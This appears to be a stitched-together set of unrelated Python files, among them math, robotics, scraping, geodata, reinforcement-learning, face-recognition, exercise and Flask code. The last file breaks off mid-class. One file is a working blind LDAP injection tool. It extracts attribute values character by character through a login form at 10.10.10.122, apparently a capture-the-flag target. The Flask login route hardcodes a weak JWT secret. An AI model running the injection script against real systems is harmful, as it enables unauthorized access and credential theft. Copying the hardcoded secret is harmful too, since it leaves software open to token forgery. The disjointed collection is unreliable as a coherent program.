from .expression_parser import ExpressionParser

class Number(object):
    EPS = 0.00000001

    def __init__(self, number):
        self.number = number

    def calculate(self, x):
        return self.number

    @staticmethod
    def derivative():
        return Number(0)

    def equal(self, other):
        return abs(other - self.number) < self.EPS

class Var(object):
    def __init__(self):
        pass

    @staticmethod
    def calculate(x):
        return x

    @staticmethod
    def derivative():
        return Number(1)

class Plus(object):
    def __init__(self, expr1, expr2):
        self.expr1 = expr1
        self.expr2 = expr2

    @staticmethod
    def of(expr1, expr2):
        if isinstance(expr1, Number) and expr1.equal(0):
            return expr2
        if isinstance(expr2, Number) and expr2.equal(0):
            return expr1
        if isinstance(expr1, Number) and isinstance(expr2, Number):
            return Number(expr1.number + expr2.number)

        return Plus(expr1, expr2)

    def calculate(self, x):
        return self.expr1.calculate(x) + self.expr2.calculate(x)

    def derivative(self):
        return Plus.of(self.expr1.derivative(), self.expr2.derivative())

class Minus(object):
    def __init__(self, expr1, expr2):
        self.expr1 = expr1
        self.expr2 = expr2

    @staticmethod
    def of(expr1, expr2):
        if isinstance(expr1, Number) and expr1.equal(0):
            if isinstance(expr2, Number):
                expr2.number *= -1.0
                return expr2

        if isinstance(expr2, Number) and expr2.equal(0):
            return expr1

        if isinstance(expr1, Number) and isinstance(expr2, Number):
            return Number(expr1.number - expr2.number)

        return Minus(expr1, expr2)

    def calculate(self, x):
        return self.expr1.calculate(x) - self.expr2.calculate(x)

    def derivative(self):
        return Minus.of(self.expr1.derivative(), self.expr2.derivative())

class Production(object):
    def __init__(self, expr1, expr2):
        self.expr1 = expr1
        self.expr2 = expr2

    @staticmethod
    def of(expr1, expr2):
        if isinstance(expr1, Number):
            if expr1.equal(0):
                return Number(0)
            if expr1.equal(1):
                return expr2
        if isinstance(expr2, Number):
            if expr2.equal(0):
                return Number(0)
            if expr2.equal(1):
                return expr1
        if isinstance(expr1, Number) and isinstance(expr2, Number):
            return Number(expr1.number * expr2.number)

        return Production(expr1, expr2)

    def calculate(self, x):
        return self.expr1.calculate(x) * self.expr2.calculate(x)

    def derivative(self):
        return Plus.of(Production.of(self.expr1.derivative(), self.expr2),
                       Production.of(self.expr2.derivative(), self.expr1))

class Division(object):
    def __init__(self, expr1, expr2):
        self.expr1 = expr1
        self.expr2 = expr2

    @staticmethod
    def of(expr1, expr2):
        if isinstance(expr1, Number) and expr1.equal(0):
            return Number(0)

        if isinstance(expr2, Number) and expr2.equal(1):
            return expr1

        if isinstance(expr1, Number) and isinstance(expr2, Number):
            return Number(expr1.number / expr2.number)

        return Division(expr1, expr2)

    def calculate(self, x):
        return self.expr1.calculate(x) / self.expr2.calculate(x)

    def derivative(self):
        return Division(
            Minus.of(Production.of(self.expr1.derivative(), self.expr2),
                     Production.of(self.expr2.derivative(), self.expr1)),
            Production.of(self.expr2, self.expr2))

class ExpressionBuilder(object):
    _operations = {
        "+": Plus.of,
        "-": Minus.of,
        "*": Production.of,
        "/": Division.of,
    }

    def __init__(self, context, is_debug=False):
        self._parser = ExpressionParser(is_debug)
        self._context = context

    def _build(self, node):
        if node.is_term():
            if node.type() == "number":
                return Number(float(node.value()))
            if node.type() == "var":
                return Var()

        children = node.children()
        if node.type() == "func":
            return self._context[children[0].value()](
                self._build(children[1])
            )
        if node.type() == "param_func":
            return self._context[children[0].value()](
                float(children[1].value()),
                self._build(children[2])
            )

        return self._operations[node.type()](
            self._build(children[0]),
            self._build(children[1])
        )

    def build(self, input_str):
        tree = self._parser.parse(input_str)
        return self._build(tree)


import rclpy  # ROS client library
from rclpy.node import Node
from rclpy.qos import qos_profile_sensor_data

from sensor_msgs.msg import LaserScan
from geometry_msgs.msg import Twist

class Tb3(Node):
    def __init__(self):
        super().__init__('tb3')

        self.cmd_vel_pub = self.create_publisher(
                Twist,
                'cmd_vel',
                1)

        self.scan_sub = self.create_subscription(
                LaserScan,
                'scan',
                self.scan_callback,
                qos_profile_sensor_data)

        self.minimum_distance = 0.2
        self.starting_distance = 0
        self.lin_vel_percent = 0
        self.ang_vel_percent = 0

        # Gradual acceleration and deceleration parameters
        self.acceleration_rate = 1
        self.deceleration_rate = 1

    def vel(self, lin_vel_percent, ang_vel_percent=0):
        MAX_LIN_VEL = 0.1
        MAX_ANG_VEL = 1.82
        cmd_vel_msg = Twist()
        cmd_vel_msg.linear.x = MAX_LIN_VEL * lin_vel_percent / 100
        cmd_vel_msg.angular.z = MAX_ANG_VEL * ang_vel_percent / 100
        self.cmd_vel_pub.publish(cmd_vel_msg)
        self.ang_vel_percent = ang_vel_percent
        self.lin_vel_percent = lin_vel_percent

    def scan_callback(self, msg):
        if self.starting_distance == 0:
            self.starting_distance = msg.ranges[0]

        current_distance = msg.ranges[0]

        if current_distance < self.minimum_distance:
            self.vel(0)
        else:
            velocity = 0
            current_distance_pc = current_distance / self.starting_distance

            if current_distance_pc >= 0.5:
                # Gradual acceleration
                velocity = min(self.lin_vel_percent + self.acceleration_rate, 100)
            elif current_distance_pc < 0.5:
                # Gradual deceleration
                velocity = max(self.lin_vel_percent - self.deceleration_rate, 5)
            print(velocity)
            self.vel(velocity)

def main(args=None):
    rclpy.init(args=args)

    tb3 = Tb3()
    print('waiting for messages....')

    try:
        rclpy.spin(tb3)  # Execute tb3 node
        # Blocks until the executor (spin) cannot work
    except KeyboardInterrupt:
        pass

    tb3.destroy_node()
    rclpy.shutdown()

if __name__ == '__main__':
    main()


#!/usr/bin/env python3

import RPi.GPIO as GPIO
import rospy
from std_msgs.msg import Int32

ENCODER_PIN = 26
GPIO.setmode(GPIO.BCM)
GPIO.setup(ENCODER_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP)

def encoder_callback():
    count = 0
    last_state = GPIO.input(ENCODER_PIN)
    pub = rospy.Publisher('/encoder_count', Int32, queue_size=10)
    rate = rospy.Rate(500)
    while not rospy.is_shutdown():
        current_state = GPIO.input(ENCODER_PIN)
        if current_state != last_state:
            count += 1
            rospy.loginfo("Encoder Count: {}".format(count))
            pub.publish(count)
        last_state = current_state
        rate.sleep()

if __name__ == '__main__':
    try:
        rospy.init_node('encoder_node')
        encoder_callback()
    finally:
        GPIO.cleanup()


import requests
from bs4 import BeautifulSoup
import  zlib #crc32加密
list_cyc32=[]
list_url=[]
import  re
# # 为了用xpath
user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0'
headers = {'User-Agent': user_agent}
# url="https://www.cnblogs.com/mayswind/p/15116918.html"
url="https://www.cnblogs.com/mayswind/default.html?page=3"
r = requests.get(url, headers=headers)
r.encoding = 'utf-8'
result=[]
soup=BeautifulSoup(r.text,'lxml')
#############crc32加密 只需要传str类型就行################
def crc32(x_url):
       return zlib.crc32(bytes(x_url, "utf-8"))
#############crc32加密 只需要传str类型就行################
############ 传入url 得到soup###########################
def get_soup (url):
    user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0'
    headers = {'User-Agent': user_agent}

    r = requests.get(url, headers=headers)
    r.encoding = 'utf-8'
    result=[]
    soup = BeautifulSoup(r.text, 'lxml')
    return  soup
############ 传入url 得到soup###########################
#############找到作者所有的文章##########################
def fd_all(url):
       global list_cyc32
       for i in range(1, 9999):
              url = "/".join(url.split("/")[0:4]) + "/default.html?page=" + str(i)
              if (get_soup(url).find_all(name='a', attrs={'class': 'postTitle2 vertical-middle'}) == []):
                     break
              items = get_soup(url).find_all(name='a', attrs={'class': 'postTitle2 vertical-middle'})

              for i in items:
                     list_cyc32 = crc32(i.get('href'))
                     list_url=i.get('href')
#############找到作者所有的文章##########################

print(crc32(url))
print(list_url)


from datetime import datetime
from shapely.geometry import Point
import numpy as np
from typing import List

GEODATUM_MAPPING = {
    "WGS 1984": "epsg:4326",
    "Ordnance Survey Great Britain 1936": "epsg:4277",
    "TWD 1967": "epsg:3828",
    "Gauss Krueger Meridian2": None,
    "Gauss Krueger Meridian3": None,
    "Gauss Krueger Austria M34": "epsg:18009",
    "Gauss Krueger Austria M31": "epsg:18008",
    "Rijks Driehoekstelsel": "epsg:28992",
    "JRC": "epsg:3040",
    "DWD": None,
    "KNMI Radar": None,
    "CH1903": "epsg:4149",
    "PAK1": None,
    "PAK2": None,
    "SVY21": "epsg:3414",
}

def camel_to_snake_case(camel_case: str) -> str:
    """
    Convert camelCase to snake_case

    Args:
        camel_case (str): sentence in camelCase (e.g. myInputVariable)

    Returns:
        str: converted sentence in snake_case (in example my_input_variable)

    """

    return "".join(["_" + i.lower() if i.isupper() else i for i in camel_case]).lstrip(
        "_"
    )

def snake_to_camel_case(snake_case: str) -> str:
    """
    Convert snake_case to camelCase

    Args:
        snake_case (str): sentence in snake_case (in example my_input_variable)

    Returns:
        str: converted sentence in camelCase (e.g. myInputVariable)

    """

    words = snake_case.split("_")
    return words[0] + "".join(i.title() for i in words[1:])

def dict_to_datetime(data: dict) -> datetime:
    """
    Convert a FEWS PI datetime dict to datetime object

    Args:
        data (dict): FEWS PI datetime (e.g. {'date': '2022-05-01', 'time': '00:00:00'})

    Returns:
        datetime: Converted datetime object (in example datetime.datetime(2022, 5, 1, 0, 0))

    """

    if "time" in data.keys():
        time = data["time"]
    else:
        time = "00:00:00"

    date_time = datetime.fromisoformat(f'{data["date"]}T{time}')

    return date_time

def datetime_to_fews_str(date_time: datetime) -> str:
    """
    Convert a FEWS PI datetime dict to datetime object

    Args:
        date_time (datetime): datetime object (e.g. datetime.datetime(2022, 5, 1, 0, 0))

    Returns:
        datetime: Converted datetime for FEWS REST API format  %Y-%m-%dT%H:%M:%SZ
        (in example 2022-05-01T00:00:00Z)

    """

    return date_time.strftime("%Y-%m-%dT%H:%M:%SZ")

def xy_array_to_point(xy_array: np.ndarray) -> List[Point]:
    return [Point(i.astype(float)) for i in xy_array]

def attributes_to_array(attribute_values: np.ndarray, attributes: list) -> np.ndarray:
    def _get_values(x, attributes):
        selection = {i["id"]: i["value"] for i in x if i["id"] in attributes}
        return [selection[i] if i in selection.keys() else None for i in attributes]

    return np.array([_get_values(i, attributes) for i in attribute_values])

def geo_datum_to_crs(geo_datum: str) -> str:
    if geo_datum.startswith("UTM"):
        epsg_code = 32600
        zone = int(geo_datum[3:5].lstrip("0"))
        epsg_code += int(zone)
        if geo_datum[-1] == "S":
            epsg_code += 100
        crs = f"epsg:{epsg_code}"
    elif geo_datum.lower().startswith("epsg"):
        crs = geo_datum.lower()
    elif geo_datum in GEODATUM_MAPPING.keys():
        crs = GEODATUM_MAPPING[geo_datum]
    else:
        crs = None
    return crs


import pandas as pd
import numpy as np
import tensorflow as tf
import shutil
from .memories import VanillaMemory
from .agents import DQNAgent
from .gymRoom import *
from .utils import *
from .gymProfile import *

import subprocess
import threading

def thread1():
    # Open starccm+ server in Linux background
    subprocess.call("cd javafile && " + start_starccm_server, shell=True)

def thread2():
    # Thread 2 executes Java macro commands continuously in the background,
    # and each round of loop represents a round
    for i in range(100000):
        subprocess.call(runforStep_gymGame_command, shell=True)

def run(env, a):
    # Modify the messenger to check info Java release, execute the next macro command
    with open("javafile/info.txt", "w") as f:
        f.write("false")

    thread_thred1 = threading.Thread(target=thread1)
    thread_thred1.start()
    time.sleep(2)

    #Create a path to the generated file.
    # out/logs/ is mainly used to store log files.
    # out/csvfile/ is the record of each round.
    # out/savemodel/ is used to save model super parameters
    all_log_path = ['out/logs/', 'out/csvfile/', 'out/tensorboard', 'out/savemodel/local/', 'out/savemodel/target/']
    for pathName in all_log_path:
        if not os.path.exists(pathName):
            os.makedirs(pathName)

    # log enable
    log()

    # Delete historical files existing in the system
    checkExistFile()

    Reward_history = []
    FanPower_history = []

    # Let macro commands hang in the background
    thread_thred2 = threading.Thread(target=thread2)
    thread_thred2.start()
    eposideFlag = True
    while True:  # Run until solved
        # print(threading.active_count())
        # Delete "RHfiles.csv" generated by history
        if os.path.exists(RHfile):
            os.remove(RHfile)
        # Initialization of rewards and fan_power in a round
        rewards_history = []
        fan_power_history = []
        # Select initial action
        startAction = [50, 50, 50, 0, 0, 0]
        # Simulation environment initialization
        env.make(startAction)
        time.sleep(6)
        stepFlag = True

        while True:
            # Get the current environment
            state, _ = env.state(a.t_step)
            # Get the current action according to the environment
            action = a.act(state)
            # Modify the action and execute the simulation environment
            state_next, reward, done, fan_power = env.steprun(action, a.t_step)
            # # Recalculate if model floating-point overflow
            state_flag = np.mean(state_next)
            if state_flag > 61 or state_flag < 40:
                stepFlag = False
                break
            # Store the reward and fan_power of each step in a round
            rewards_history.append(reward)
            fan_power_history.append(fan_power)

            print("timestep", a.t_step, "action:", action, "reward:", reward, "fanpower:",
                  fan_power)
            # Store data and train models
            a.step(state, action, reward, state_next, done)

            # Judge whether to end the round
            if done is True:
                break

        # If the model diverges, this round will not be recorded
        if stepFlag is False:
            eposideFlag = False
            continue
        if eposideFlag is False:
            eposideFlag = True
            continue
        episode = a.episodes - 1

        Reward_history.append(sum(rewards_history))
        FanPower_history.append(sum(fan_power_history))

        print('episode', episode, 'score', sum(rewards_history), 'score_max', max(Reward_history), "FanPowerSUM",
              sum(fan_power_history))

        # save episode_reward_history and each_episode_rewards_history

        name = [str(episode)]

        pd.DataFrame(data=[rewards_history], index=name). \
            to_csv(each_episode_rewards_history_csv, sep=',', mode='a', encoding='utf-8')

        pd.DataFrame(data=[fan_power_history], index=name). \
            to_csv(each_FanPower_history_csv, sep=',', mode='a', encoding='utf-8')

        pd.DataFrame(data=[Reward_history], index=name). \
            to_csv(episode_reward_history_csv, sep=',', encoding='utf-8')

        pd.DataFrame(data=[FanPower_history], index=name). \
            to_csv(FanPower_history_csv, sep=',', encoding='utf-8')

        pd.DataFrame(data=np.array([a.losses]).reshape(-1, 1)). \
            to_csv(Loss_history_csv, encoding='utf-8')

        # Save RHfile.csv history of each round as RHfile_episode.csv
        dstFile = all_log_path[1] + 'RHfile_' + str(episode) + '.csv'
        try:
            shutil.copyfile(RHfile, dstFile)
        except Exception as e:
            print(e)

        # Save model super parameters
        if episode % 100 == 0:
            # a.network_local.save_weights(all_log_path[3] + 'RHfile_' + str(episode))
            a.network_target.save_weights(all_log_path[4] + 'RHfile_' + str(episode))

        # Judge the conditions for model convergence and training completion
        if len(Reward_history) >= 10 and (np.mean(Reward_history[-10:])) > 20:
            print("Solved at episode {}!".format(episode))
            break


#!/usr/bin/python
from bs4 import BeautifulSoup
import requests
import time
import sys
import urllib
from itertools import chain
import argparse

url = "http://10.10.10.122/login.php"
startUrl = "http://10.10.10.122/"
proxyValues = {'http': 'http://127.0.0.1:8080'}
SLEEP_VALUE = 3
lower_letters = range(97,123)
upper_letters = range(65,91)
number_set = range(48,58)

#r= requests.get(url)
#sessionCookie = r.cookies
#print (r.text)
testRange = range(107,109)

#print ("*** Sleeping for %d seconds***" % SLEEPVALUE)
#time.sleep(SLEEPVALUE) #sleep little baby

def findLDAPAttribute(sessionID, lineList, pl,fullRange):
	failedList = []
	foundAttributeDict = {}
	foundAttribute = ''
	foundValue =''

	#fullRange = chain(lower_letters)
	headerValues = {'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
		'Accept' :'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'Accept-Language': 'en-US,en;q=0.5',
		'Accept-Encoding': 'gzip, deflate',
		'Referer': 'http://10.10.10.122/login.php',
		'Connection': 'close'}

	#iterate through attributes
	for i in lineList:

		token = ''
		#payload = 'ldapuser)(|(' + i +'=*)'
		#payload = pre + i + post
		giveUp = False;
		fullIteration = 0
		while (giveUp!= True):
			fullIteration=len(token)
			for character in fullRange:

				payload = pl.format(i,token+chr(character)+'*')
				#double url encoding is needed

				print ("trying payload %s" % payload)
				payload = urllib.parse.quote_plus(payload)

				reqdata = {'inputUsername' : payload, 'inputOTP': '123456'}
				with requests.session() as s:
					try:
						s.keep_alive = False
						r = s.post(url,cookies={'PHPSESSID':sessionID}, data=reqdata, headers=headerValues, proxies=proxyValues)
						#non proxy -
						#r = s.post(url,cookies={'PHPSESSID':sessionID}, data=reqdata, headers=headerValues)
					except Exception as e:
						print(repr(e))
						failedList.append(i)
					finally:
						s.close()
				#looking for result
				soup = BeautifulSoup(r.text, 'html.parser')
				resultSet = soup.findAll( "div", {"class":"col-sm-10"})
				if len(resultSet[0].text) > 1:
					#if we end up with the failed double url decoding in result, then we need to ignore it
					if "%" not in resultSet[0].text:
						#"Cannot login" is the indicator for the blind injection
						#add the current character to our token
						token += chr(character)
						print ("Found a value in attribute %s of value %s" % (i,token))
						foundAttribute = i
						foundValue = resultSet[0].text

				else:
					print ("no value for %s on length %d with length %d" % (i,len(resultSet[0].text), len(r.text) ))
				time.sleep(SLEEP_VALUE)
			#if the length of the token has not increased, then we're out of options..
			if (len(token) == fullIteration):
				giveUp=True #move to the next attribute
			print ("We are at %s" %token)

		if len(token) > 0:
			foundAttributeDict.update({foundAttribute:token})
		print ("All done! values are %s : %s" % (foundAttribute,token))
		finalVal = "Attribute is [" + foundAttribute + "] with value [" + token +"]"
		if len (failedList) > 0:
			print ("We failed on attributes " + str(failedList))

	for keys,value in foundAttributeDict.items():
		print (keys, value)
	return foundAttributeDict
def main():

	parser = argparse.ArgumentParser(description='blind ldap injector')
	parser.add_argument('--option', '-o', help = "1-Upper,2-Lower,3-Numbers,4-LowerNumbers,5-all", required=True, choices={1,2,3,4,5}, type=int)
	parser.add_argument('--attribFile', '-f', help = "attribute file", required=True)
	parser.add_argument('--sessionID', '-s', help = "phpsession id", required= True)
	args = parser.parse_args()
	sessionID = args.sessionID
	filename = args.attribFile
	options = args.option
	#filename = sys.argv[1]
	with open (filename,'r') as f:
		#lineList = f.readlines()
		lineList = [line.rstrip() for line in f]
	#sessionID  = 'e3i2o514r6ltme1cno3skji8s7'
	print ("Starting with SessionID %s Filename %s Option - %d" % (sessionID,filename,options))
	fullRange = ''
	if options == 1: fullRange = upper_letters
	elif options == 2: fullRange =lower_letters
	elif options==3: fullRange = number_set
	elif options==4: fullRange =chain(lower_letters,number_set)
	elif options==5: fullRange = chain(upper_letters,lower_letters,number_set)

	print (fullRange)

	#testcase = findLDAPAttribute(sessionID,lineList,'*)(','=ldapuser)')
	#print (testcase)

	#lets look for attributes based on the payload *)
	payload = '*)({0}={1}'
	testcase = findLDAPAttribute(sessionID,lineList,payload,fullRange)
#	print (foundAttributeDict)

	payload = 'ldapuser)({0}={1}'
	testcase =findLDAPAttribute(sessionID,lineList,payload,fullRange)
	#this test case works - can get "CANNOT LOGIN" for cn=ldauser*
	#testcase = findLDAPAttribute(sessionID,lineList,'*)(','=ldapuse*')
	#print (testcase)
if __name__ == '__main__':
	sys.exit(main())
	#print ("Message is of length %d and is [%s]" % (len(resultSet[0].text), resultSet[0].text))
	#print (r.text)


"""Check for usage of models that were replaced in 2.0."""
from pylint.checkers import BaseChecker
from pylint.interfaces import IAstroidChecker

class NautobotReplacedModelsImportChecker(BaseChecker):
    """Visit 'import from' statements to find usage of models that have been replaced in 2.0."""

    __implements__ = IAstroidChecker

    version_specifier = ">=2,<3"

    name = "nautobot-replaced-models"
    msgs = {
        "E4211": (
            "Imports a model that has been replaced (dcim.DeviceRole -> extras.Role).",
            "nb-replaced-device-role",
            "Reference: https://docs.nautobot.com/projects/core/en/next/development/apps/migration/model-updates/extras/#replace-role-related-models-with-generic-role-model",
        ),
        "E4212": (
            "Imports a model that has been replaced (dcim.RackRole -> extras.Role).",
            "nb-replaced-rack-role",
            "Reference: https://docs.nautobot.com/projects/core/en/next/development/apps/migration/model-updates/extras/#replace-role-related-models-with-generic-role-model",
        ),
        "E4213": (
            "Imports a model that has been replaced (ipam.Role -> extras.Role).",
            "nb-replaced-ipam-role",
            "Reference: https://docs.nautobot.com/projects/core/en/next/development/apps/migration/model-updates/extras/#replace-role-related-models-with-generic-role-model",
        ),
        "E4214": (
            "Imports a model that has been replaced (dcim.Region -> dcim.Location).",
            "nb-replaced-region",
            "Reference: https://docs.nautobot.com/projects/core/en/next/development/apps/migration/model-updates/dcim/#replace-site-and-region-with-location-model",
        ),
        "E4215": (
            "Imports a model that has been replaced (dcim.Site -> dcim.Location).",
            "nb-replaced-site",
            "Reference: https://docs.nautobot.com/projects/core/en/next/development/apps/migration/model-updates/dcim/#replace-site-and-region-with-location-model",
        ),
        "E4216": (
            "Imports a model that has been replaced (ipam.Aggregate -> ipam.Prefix).",
            "nb-replaced-aggregate",
            "Reference: https://docs.nautobot.com/projects/core/en/next/development/apps/migration/model-updates/ipam/#replace-aggregate-with-prefix",
        ),
    }

    def visit_importfrom(self, node):
        if node.modname == "nautobot.dcim.models":
            for name, _ in node.names:
                if name == "DeviceRole":
                    self.add_message("nb-replaced-device-role", node=node)
                elif name == "RackRole":
                    self.add_message("nb-replaced-rack-role", node=node)
                elif name == "Region":
                    self.add_message("nb-replaced-region", node=node)
                elif name == "Site":
                    self.add_message("nb-replaced-site", node=node)
        if node.modname == "nautobot.ipam.models":
            for name, _ in node.names:
                if name == "Role":
                    self.add_message("nb-replaced-ipam-role", node=node)
                elif name == "Aggregate":
                    self.add_message("nb-replaced-aggregate", node=node)


import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'

import tensorflow as tf
import tensorflow.keras.backend as K
# from keras.models import load_model
from tensorflow.keras.models import load_model
from os import listdir
from os.path import isdir
from PIL import Image
import numpy as np
from numpy import load
from numpy import expand_dims
from numpy import asarray
from sklearn.metrics import accuracy_score, pairwise_distances
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import Normalizer
from sklearn.svm import SVC
from tqdm import tqdm

def extract_face(filename, required_size=(160, 160)):
    """
    Extract a single face from a given photograph

    Inputs:
    - filename: path of a file to be converted

    Returns:
    - face_array: array of face image pixel with RGB channel
    """
    image = Image.open(filename)
    image = image.convert('RGB')
    pixels = asarray(image)
    face_array = pixels
    return face_array

def load_faces(directory):
    """
    Load images and extract faces for all images in a directory

    Inputs:
    - directory: path of a directory which has same person's face

    Returns:
    - face: list of face array
    """
    faces = list()
    for filename in listdir(directory):
        path = directory + filename
        face = extract_face(path)
        faces.append(face)
    return faces

def load_dataset(directory):
    """
    Load a dataset that contains one subdir for each class that in turn contains images

    Inputs:
    - directory: path of a directory which has all the train data or test data

    Returns:
    - asarray(X): face image array
    - asarray(y): class label array
    """
    X, y = list(), list()
    for subdir in listdir(directory):
        path = directory + subdir + '/'
        if not isdir(path):
            continue
        if subdir.startswith('.'):
            continue
        faces = load_faces(path)
        labels = [subdir for _ in range(len(faces))]
        X.extend(faces)
        y.extend(labels)
    return asarray(X), asarray(y)

def get_embedding(model, face_pixels):
    """
    Get the face embedding for one face

    Inputs:
    - model: facenet model which output 128-dim embedding
    - face_pixels: image array of a face

    Returns:
    - yhat[0]: embedding of a face
    """

    face_pixels = face_pixels.astype('float32')
    mean, std = face_pixels.mean(), face_pixels.std()
    face_pixels = (face_pixels - mean) / std
    samples = expand_dims(face_pixels, axis=0)
    yhat = model.predict(samples)
    return yhat[0]

def contrastive_loss(y, emb1, emb2, margin=1.0):
    """
    Compute the contrastive loss for two embeddings

    Inputs:
    - y: value of 1 if emb1 and emb2 are same person's face, 0 if not
    - emb1: embedding of a face
    - emb2: embedding of a face

    Returns:
    - loss
    """

    #### Question (b): your implementation starts here (don't delete this line)
    print(emb1.shape, emb2.shape)
    y_pred = tf.linalg.norm(emb1 - emb2)
    y = tf.cast(y, y_pred.dtype)
    loss = y * tf.math.square(y_pred) + (1.0 - y) * tf.math.square(
        tf.math.maximum(margin - y_pred, 0.0)
    )

    #### Question (b): your implementation ends here (don't delete this line)

    return loss

def triplet_loss(anchor, emb1, emb2, margin=1.0):
    """
    Compute the contrastive loss for two embeddings

    Inputs:
    - anchor: embedding of a face which to be the standard
    - emb1: embedding of a positive face
    - emb2: embedding of a negative face

    Returns:
    - loss
    """

    #### Question (c): your implementation starts here (don't delete this line)
    d_pos = tf.reduce_sum(tf.square(anchor - emb1))
    d_neg = tf.reduce_sum(tf.square(anchor - emb2))

    loss = tf.maximum(0., margin + d_pos - d_neg)
    loss = tf.reduce_mean(loss)

    #### Question (c): your implementation ends here (don't delete this line)

    return loss

def main():

    # load train dataset
    trainX, trainy = load_dataset('./LFW/train/')
    print(trainX.shape, trainy.shape)
    # load test dataset
    testX, testy = load_dataset('./LFW/val/')
    print(testX.shape, testy.shape)

    # load the pre-trained facenet model
    model = load_model('facenet_keras.h5', compile=False)

    # convert each face in the train set to an embedding
    print('[INFO] calculating train data embedding ...')
    newTrainX = list()
    for face_pixels in tqdm(trainX):
        embedding = get_embedding(model, face_pixels)
        newTrainX.append(embedding)
    trainX = asarray(newTrainX)
    # convert each face in the test set to an embedding
    print('[INFO] calculating test data embedding ...')
    newTestX = list()
    for face_pixels in tqdm(testX):
        embedding = get_embedding(model, face_pixels)
        newTestX.append(embedding)
    testX = asarray(newTestX)

    # normalize input vectors
    in_encoder = Normalizer(norm='l2')
    trainX = in_encoder.transform(trainX)
    testX = in_encoder.transform(testX)
    # label encode targets
    out_encoder = LabelEncoder()
    out_encoder.fit(trainy)
    trainy = out_encoder.transform(trainy)
    testy = out_encoder.transform(testy)

    '''
    Generate linear classifier model which name is 'model'
    '''
    #### Question (a): your implementation starts here (don't delete this line)

    model = SVC(gamma='auto', verbose=True)

    #### Question (a): your implementation ends here (don't delete this line)

    # train
    print('[INFO] model is training ...')
    model.fit(trainX, trainy)
    print('[INFO] training is done.')
    # predict
    yhat_train = model.predict(trainX)
    yhat_test = model.predict(testX)
    # score
    score_train = accuracy_score(trainy, yhat_train)
    score_test = accuracy_score(testy, yhat_test)
    # summarize
    print('Accuracy: train=%.3f, test=%.3f' % (score_train*100, score_test*100))

    #loss function test with sample data
    print('Contrastive loss for same face: f' % (contrastive_loss(1,trainX[0], trainX[1])))
    print('Contrastive loss for different face: f' % (contrastive_loss(0,trainX[0], trainX[100])))
    print('Triplet loss: f' % (triplet_loss(trainX[0], trainX[0], trainX[100])))

if __name__ == '__main__':
  main()


# -*- coding: utf-8 -*-
"""
Created on Mon Aug  3 19:54:04 2020

@author: Tomi
This contains solutions to some list exercises from the
Python for Everybody (py4e) Course
"""
import sys

def max_and_min():
    '''prompt user for numbers and compute max and min'''
    number_list = []
    while True:
        prompt = input('Enter number: ')
        try:
            value = float(prompt)
            number_list.append(value)
        except (TypeError, ZeroDivisionError, ValueError):
            if prompt == 'done' or prompt == 'Done':
                break
            else:
                print('enter a numerical value')
    maximum = max(number_list)
    minimum = min(number_list)
    print('Max:', maximum, 'Min:', minimum)
#max_and_min()

def confidence_value():
    '''compute average c value'''
    fname = input('Enter file name: ')
    try:
        fhand = open(fname)
    except FileNotFoundError:
        if fname == 'na na boo boo':
            print("NA NA BOO BOO TO YOU - "
                  "You've been punk'd!")
        else:
            print('File does not exist')
        sys.exit()
    count = 0
    confidencesum = 0
    for line in fhand:
        if line.startswith('X-DSPAM-Confidence:'):
            count += 1
            words = line.split()
            confidence = float(words[1])
            confidencesum += confidence
    try:
        average = confidencesum / count
        print('The average confidence value is', average)
    except ZeroDivisionError:
        print('0 lines exist in the form requested')
#confidence_value()

def a_message_from():
    '''find who sent the email'''
    count = 0
    fname = input('Enter file name: ')
    try:
        fhand = open(fname)
    except FileNotFoundError:
        print(fname, 'does not exist')
        exit()
    for line in fhand:
        line = line.rstrip()
        words = line.split()
        if len(words) == 0:
            continue
        if words[0] == 'From':
            count += 1
            print(words[1])
    print('There were', count, 'lines in the file '
          'with From as the first word')

#a_message_from()

def my_romeo():
    '''parsing romeo.txt file'''
    words = []
    myset = set()
    with open('romeo.txt') as fhand:
        for line in fhand:
            line = line.rstrip()
            for word in line.split():
                #print(word)
                if word not in words:
                    words.append(word)
                    myset.add(word)
                    words.sort()
        print(words)
        #print(myset)
#my_romeo()


#!/usr/bin/python3
"""
Defines requests for the drivers route
"""
from api.v1.views import app_views
from flask import jsonify, request, make_response
from functools import wraps
from hashlib import md5
from models import storage
from models.users import User
import datetime
import jwt

SECRET_KEY = 'thisissecret'

def token_required(f):
    """
    checks given token if valid to access route
    """
    @wraps(f)
    def decorated(*args, **kwargs):
        token = None

        if 'x-access-token' in request.headers:
            token = request.headers['x-access-token']

        if not token:
            return jsonify({'message' : 'Token is missing!'}), 401

        try:
            data = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
        except Exception:
            return jsonify({'message' : 'Token Expired, Please Log In Again!'}), 401
        users = storage.all(User).values()
        current_user = None
        for user in users:
            if user.id == data['id']:
                current_user = user

        if not current_user:
            return jsonify({'message' : 'Token is invalid!'}), 401

        return f(current_user, *args, **kwargs)

    return decorated

@app_views.route('/login', strict_slashes=False, methods=['POST'])
def login():
    """
    validates user login before assigning a json web token
    """
    body = request.get_json()
    all_users = storage.all(User).values()
    user = None

    for item in all_users:
        if item.email == body.get("email"):
            user = item
            break

    if not user:
        return (make_response(jsonify({"error": "Invalid Username"}), 401,
            {'WWW-Authenticate' : 'Basic realm="Login required!"'}))

    if user.check_password(body.get("password")):
        token = jwt.encode(
            {'id' : user.id,
             'exp' : datetime.datetime.utcnow() + datetime.timedelta(hours=24)
             }, SECRET_KEY, algorithm='HS256')

        response = jsonify({'token' : token,
                            "user": {
                                     "id": user.id,
                                     "first_name": user.first_name,
                                     "last_name": user.last_name,
                                     "phonenumber": user.phonenumber,
                                     "email": user.email
                                     }})

        return  response, 200

    return (make_response(
        'Invalid Password', 401,
        {'WWW-Authenticate' : 'Basic realm="Login required!"'}))


from math import cos, pi, sin

from PySide import QtCore, QtGui

class RenderArea(QtGui.QWidget):
    def __init__(self, path, parent=None):
        super(RenderArea, self).__init__(parent)

